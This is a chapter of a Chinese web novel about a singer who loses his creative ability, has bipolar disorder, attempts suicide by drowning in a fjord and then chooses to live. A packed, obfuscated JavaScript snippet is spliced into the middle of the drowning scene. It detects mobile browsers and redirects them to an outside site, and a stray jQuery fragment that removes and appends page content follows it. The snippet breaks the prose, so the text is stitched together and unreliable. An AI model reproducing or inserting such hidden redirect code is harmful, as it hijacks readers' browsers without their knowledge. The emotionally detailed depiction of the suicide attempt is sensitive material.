顾灯更不好意思了，他给许多人写过歌，外婆、姨妈姨父哥哥、工作室团队、甚至连经纪人的猫都收到过。
那时的他才思敏捷，各种灵感信手拈来，肆意地浪费着天赋。而当他真正想写一首歌送给别人时，却什么都写不出来了。
顾灯捂住脸，突然感觉有点儿崩溃。
可这种崩溃很短，顾灯就抬起头说：“朋友一场，总不能让你吃亏，我再给你点儿别的报酬吧。”
“不用，”章离说，“这样就够了。”
接下来无论顾灯说什么，章离都不改口。回到民宿，顾灯心想，不然就把曲子写完再送给他吧。他觉得自己状态还可以，说不定可以写出点儿什么。
顾灯挑灯夜战，一无所获。
中午时他和章离在餐厅碰面，原计划是下午返程，可顾灯却突然说不走了。
章离从满满当当的鱼和肉中抬起头：“你还有事？”
顾灯：“想在这里多待几天。”
章离：“要我留下来吗？”
“不用，我自己就行，”顾灯说，“而且我记得你要去拍驯鹿吧？”
章离点头，没再说话，把餐盘里的肉全吃了。顾灯心不在焉地用刀切香煎三文鱼，分量估计只有章离盘里的十分之一，他都拖拖拉拉费了好半天才吃进去。
镇上没有租车点，午饭结束，顾灯让章离把车开回去。又说等他玩够了，他会自己想办法离开。
“我已经找到车去西沃德，”章离说，“这边你不熟悉，车你留着用。”
顾灯说：“哦。”
虽然他已经用不上车了。
随后顾灯陪章离在外面等车，今天风很大，把他头发吹得乱七八糟。顾灯眯起眼睛，抬头看向章离。却没想到章离也在看他，四目相对，顾灯有些恍神。
章离倒是一脸坦然，问：“你接下来还有安排吗？”
顾灯：“没了。”
“那你……”章离罕见地迟疑起来，过了一会儿才说，“你想去看驯鹿迁徙吗？”
顾灯愣了下，又摇头：“我这个体力可不行。”
“我重新制定了一条低难度的路线，你只要跟随几个关键地点就行。”章离说完从口袋里掏出一张纸，上面用手绘了驯鹿迁徙地图，在每个节点，都详细地标注了停留信息。
原本500公里的徒步路线，现在改为小飞机和徒步结合，只在几个关键的地方停留，难度大大降低。
纸和蜡笔都是民宿的，这份计划应该是昨晚熬夜赶制。可章离为什么要邀请他？甚至不惜更改自己的路径？
顾灯有些感动，可他确实没法儿再去了，只得把路线图还给章离，说：“谢谢你邀请我，但还是算了吧。”
章离没再说话，顾灯也保持沉默，只有海浪声此起彼伏。不知过了多久，路边传来发动机的声音，顾灯迅速抬起头，才发现车只是经过。
他微微吐出一口气，问：“章离，你想和我睡觉吗？”
这话太突兀，也太过自然，章离甚至都没反应过来。
顾灯又说：“啊，我的意思就是上.床，做.爱。”
章离依旧没吭声，但脸色却变得有些难看。
顾灯明白了：“原来你不想。”
顾灯有些苦恼，他已经写不出歌，除了这副还算不错的皮囊，是真没什么能给出去的了。
可章离不要。
空气变得更安静了，仿佛连海浪声都一同消失。就在这时，又有一辆车过来，顾灯还想说点儿什么，章离已经起身朝路边走去，没有一丁点儿犹豫。
章离大概是生气了，这让顾灯最后想说点儿什么的想法也破灭了。
也是，他刚才多冒犯啊，差不多都是性骚扰了。顾灯沮丧极了，他低下头，小声说了句对不起。
可奇怪的是章离并没有就此离开，他向开车的人借了支笔，正往纸上写东西。然后他又回来了，把那张手绘地图放在椅子上。
顾灯抬头看他，紧抿嘴唇。
章离注视着顾灯紧绷的脸，说：“我3天后从安克拉治出发，如果你改变主意，打上面的电话找我。”
顾灯愣愣地看着那张纸，风把纸吹得飘起来，他连忙伸手按住。等他重新抬起头，章离已经搭车离开了。
顾灯在海边的椅子上坐了一下午，随后续订民宿，又开始写首歌。硬写的感觉很痛苦，可顾灯还试图写点儿什么。
他之前在网上看过一个帖子，有人说他明明过得很幸福，不缺钱也不缺时间，全世界到处玩儿，可不知道为什么依旧会觉得空虚。
当时那个高赞的评论说，那是因为你只是享受，没有创作和输出，时间久了自然就无聊了。
当时的顾灯还很庆幸，心想他比大多数人都要幸运，早早就选择了创作这条路，不用再烦恼这些问题。只要他还在写歌，他就拥有自我价值，不会感到虚无。
直到有天，他发现自己写不出东西了。
这种发现不是瞬时的，而是经历了一个漫长的时期。就像是衰老剥夺人的健康、好奇心、专注力，上天也以这种缓慢又残忍的方式，逐渐剥夺了他的才华、灵感和创造力。
起初顾灯并没有在意，乐评人和歌迷也没有察觉，直到一年过去，顾灯没能写出任何东西。
这对顾灯来说是不可能的事情。
从他12岁出道一直到25岁的鼎盛期，就算是开演唱会，顾灯也雷打不动一年出一张专辑，状态好时甚至可以出两张。他也经常在社交平台发各种demo，即兴演奏。
那时音乐对他来说就仿佛和呼吸一样简单，他天生就有一副好嗓子，再加上极强的创造力，随便玩玩就能写出大家喜欢的音乐，《宇宙糖》他甚至只花了5分钟就写出来了，至今还是打榜情歌人气榜第一。
那时的他年轻气盛，以为生活会永远闪耀快乐。直到第二年，他依旧没能写出东西，就算勉强写出来也不对劲，怎么看都不对劲。
圈内好友评价他对自己要求太高，可顾灯完全不觉得，在他的标准里，这堆东西就是垃圾，他不会容忍这些东西以他的名义发出去。
又有人建议他停下来好好休息，顾灯照做，却引发了更大的焦虑。因为他发现自己根本就停不下来。就算他强迫自己停下，脑海里也充斥着各种旋律。
顾灯以为自己只是在瓶颈期，直到私人医生在他体检单上加了项心理评估——他竟被查出了重度抑郁。
这个结果完全出乎顾灯意料。
周围的人毫无头绪，顾灯不知道问题出在哪里。虽然他小时候是被收养的，但收养他的是他亲姨妈，对他也一直客客气气，没有任何偏心虐待之举。他没有遭遇过重大打击，也没有经历过勾心斗角的职场环境。
他出名又有钱，只不过是写不出来东西，怎么就重度抑郁了呢？
确诊头一年，顾灯完全无法接受自己有了抑郁，他还在认真生活，积极配合治病。却没想到一年后，他又被确诊为双相障碍。心理医生解释之前的抑郁症是误诊，因为双向障碍有很强的误导性，病人大多只会在抑郁期求医。
双相就双相吧，他已经无所谓了，而且顾灯还挺喜欢轻躁狂发作的感觉。
顾灯又治了半年，连心理医生都说他状态好转，可奇怪的是，他还是写不出东西。顾灯又以为这是药物影响，他偷偷停了三个月的药，还是只能写出一堆垃圾。
从发病后到确诊，他努力了整整四年。可最后却发现，他再也写不出任何东西了。
完蛋了。
顾灯的天塌了。
写不出歌的歌手还是歌手吗？不当歌手的他还是顾灯吗？
不是了，一旦他停止创造，属于他的意义就消失了。
顾灯被一股巨大的无意义感击溃，无法享受，也无法停止，除非他再次写出自己满意的歌曲。
章离离开后，顾灯又熬了个大夜。他看着漆黑的大海，试图回忆起灵感充沛的曾经。可直到天边泛白，他依旧没能写完那首歌曲。
至此，他终于放弃。
他又想，世界是公平的，这些年来他凭借创作脱颖而出，收获了无数喜爱和荣誉。但终于，也被老天爷一点点收了回去。属于他的赦免消失了，他也开始和世间大部分人一样，变得痛苦、迷茫又彷徨。
第二天，顾灯买下了一艘皮划艇，说自己要去远途旅行。房东大叔很热情，还送了他两根香蕉让他路上吃。
顾灯又去了那个峡湾，峡湾依旧纯净静谧，但这次没有鲸鱼和章离。
他关掉发动机，用大海和冰川隔绝一切人类踪迹，置身其中，会让人感到一股巨大的震撼和孤寂。但顾灯不怕，他喜欢这样待着。只有当他独处时，他才是完整的自己。
顾灯躺在皮划艇上，看着夕阳从海面坠落，然后头顶升起满天繁星。微凉的海风穿过他身体，仿佛一只无形的手安抚着情绪。
真好，临近生命结束，他似乎又拥有了感受美好的能力。
顾灯闭上眼，跳进海里。
入水时很冷，可很快他便感到一种难以言喻的温柔。海水温柔地包裹他，像是回到了母亲的子宫里。
他想，他马上就要死了。那些开心的、难过的、痛苦的情绪都将消失，他不会再看见今天这样温柔的日落，不会再听见大海深处响起鲸鸣。音乐、美食、猫咪小狗，钢琴、贝斯、吉他和鼓，山川、大海、太阳月亮，还有他的思想，他的品味，他的创作……什么都没有了。世间所有都将随着他的死亡而消失。他再也无法发出声响，甚至唱不出一个音符，他的痛苦无人知晓，他的欢乐无人感受。一切意义都将消融，一切存在都会灰飞烟灭。世界在此刻坍塌，化为虚无。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463574|169754||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想到这里，顾灯突然有点儿伤心，心跳也开始加剧。氧气消耗增多，他开始感到痛苦。
可为什么要是他呢？
为什么要让他在小小年纪就接触音乐，让他再也无法做别的事情呢？
从7岁时第一次登台唱歌，到29岁决定结束生命，他人生四分之三的时间都和音乐绑定，音乐陪他长大，也让他实现了人生价值。
人人都说上帝偏爱他，可为什么，又要让他在最鼎盛时期再也写不出任何东西？
最初丧失灵感的那几年，也有人劝他写不出歌也没关系，你现在名利双收，完全可以去做别的事情。世间那么多人比你穷比你苦，还不是在挣扎着活下去？你怎么就不行呢？
是啊，他怎么就不行了？顾灯也试图这样安慰自己，可他很快就发现这种假设毫无意义。他不能没有音乐，一旦放弃音乐，他就不再是他自己。
他死磕了四年，撕碎无数手稿，一遍遍自我怀疑，还是无法回到曾经。
其实他早该明白，当他把一切都寄托于音乐时，就应该明白这是把双刃剑，一旦他哪天写不出来歌，他就完蛋了。可人在幸福时很难反思自己，他被这绚烂的幸福迷晕了眼，以为自己是特殊的，以为这种天赋源源不断，绝不终结。直到光环褪去，才发现原来他也只是一个普通人。
真可笑，都到了这种时候，他竟然还会感到不甘。
是啊，难道他就要这样死掉吗？
不然呢？除此以外，你还能在哪里找到安宁？
想要呼吸的欲望更强了，求生本能涌向他的神经。可顾灯只是屏住呼吸，放任身体往大海深处沉去。心跳变得更缓了，血液开始往心脏和大脑聚集，顾灯逐渐感到身体麻痹，大脑中开始出现幻觉。
他想，这就是传说中的走马灯吧。
他这一生也算波澜壮阔，登上过高峰，也经历过低谷。可奇怪的是，临死之际，他却想起了高中的一个普通午后。
那时他早已大红大紫，却也和每一个普通的学生一样，坐在拥挤的教室里背古文。
和大部分高中生一样，当时的他也不能完全理解这段古文的含义。但他是个好学生，他会听老师的话，好好记下这些。
他背下的……是什么呢？
氧气消耗加剧，顾灯开始感到孤独、痛苦、无助，几乎无法继续思考下去。
他清晰地意识到，死亡马上就要来了。
就在这时，远处突然传来一阵诵读声：
“古者富贵而名摩灭，不可胜记，唯倜傥非常之人称焉。盖文王拘而演《周易》；仲尼厄而作《春秋》；屈原放逐，乃赋《离骚》；左丘失明，厥有《国语》；孙子膑脚，《兵法》修列；不韦迁蜀，世传《吕览》；韩非囚秦，《说难》《孤愤》；《诗》三百篇，大底圣贤发愤之所为作也。”①
那些早已面目模糊的高中同学，夹杂着十几年前顾灯自己的声音，穿过时空抵达了这里。
背下来的整整十年里，顾灯都没法儿理解这段话的含义。他当时太年轻，也太顺遂，不知道这段文字里的痛苦意味着什么，也不知道先贤们忍受这些痛苦，需要多大的决心和意志力。
他只是记住了这段话。
又在十几年后从鼎盛跌入低谷，恰好和这段文字实现了共鸣。
原来早在两千多年前，就已经有这么多人和他有同样的遭遇。他不是孤单一人，这世上还有人和他一样痛苦，迷茫，不知所措。
浑厚的海水包裹着他，仿佛一个无形的拥抱。
肺部的氧气更少了，连大脑也开始变得迟钝。浓稠的黑暗中，顾灯猛地睁开眼睛——原来他不是真的想死，他只是不知道该如何活着。
顾灯拼劲全力游向海面，可周围一片漆黑，根本不知方向在哪里，他只是凭借本能往上游去。
嘴巴和鼻腔溢出一连串小泡泡，这是氧气被带走的证据。海水挤压着他，渴望呼吸的痛苦加剧。又一个泡泡像小鱼一样溜走，他终于呼出了身体里的全部空气。
顾灯漂浮在黑暗的海水中，感到了一股强烈的恐惧。
曾经他觉得死亡是解脱、是安详，能给他带来平静。直到现在他才发现，原来死亡还是痛苦，是掠夺，是一种毁灭。
他出现了短暂的晕厥，再次恢复意识时，他听见了一阵海浪声。
顾灯拼尽全力朝着声音方向游去，此时他的身体已经没有储存任何氧气，肺、心脏、大脑也濒临罢工，只有身体还在机械性运动。
他不想死，他还不想死在这里！
顾灯“哗”地一声钻出水面，像初生婴儿那样大口地呼吸。
星星消失了，可东方传来光亮，太阳即将升起。
大海和冰川在晨曦中逐渐显形，顾灯爬上橡皮艇，感到了一股强烈的不知所措和欣喜。他第二次获得生命。